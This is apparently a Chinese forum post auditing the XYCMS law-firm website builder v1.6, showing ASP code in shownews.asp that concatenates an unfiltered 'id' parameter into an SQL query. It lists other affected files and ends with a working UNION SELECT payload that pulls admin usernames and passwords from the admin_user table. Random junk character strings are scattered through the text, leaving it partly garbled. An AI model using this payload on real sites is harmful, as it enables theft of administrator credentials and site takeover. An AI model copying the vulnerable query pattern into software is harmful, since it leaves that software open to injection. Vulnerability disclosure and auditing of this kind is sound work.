XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似
! E& X" k* N4 P4 J6 \
淫荡分割线
--------------------------------------------------------
3 Y& v/ ?; P% n1 Z: u, J
' W) ?, Q( B* u审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
; p" S9 M0 S! z1 c5 w" ?3 e3 j0 h源码地址:http://down.chinaz.com/soft/29233.htm

  m. S, V6 M  u  e& N" ^漏洞文件:shownews.asp
8 I$ n) i) u! B5 |) K2 ~漏洞代码：7-13行

8 I! G/ [+ g. G
<%
, S/ I: a( j" z& m3 Sid=request.QueryString("id")
, n+ _' t+ }; s, O" j  y   
set snews=server.createobject("adodb.recordset")
exec="select * from [news] where id="&id
snews.open exec,conn,1,1
%>
/ q  X; b1 s/ P5 q- M

% A: n# t0 l3 n/ @3 w! ^1 j什么过滤都没有  直造成注入
5 h. z. F  L7 e8 Y0 t; Q
0 O! x% {5 @# F# S1 x& _% V注入点:http://127.0.0.1:99/shownews.asp?id=xx

其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找

3 U" t/ H! x. A* P6 F# G3 W; d/ {/ R
1 Y9 x( B) [# `3 r8 T. s0 H% eexp: union select 1,admin,password,4,5,7 from admin_user
; p8 `5 I* o, N, g- ^​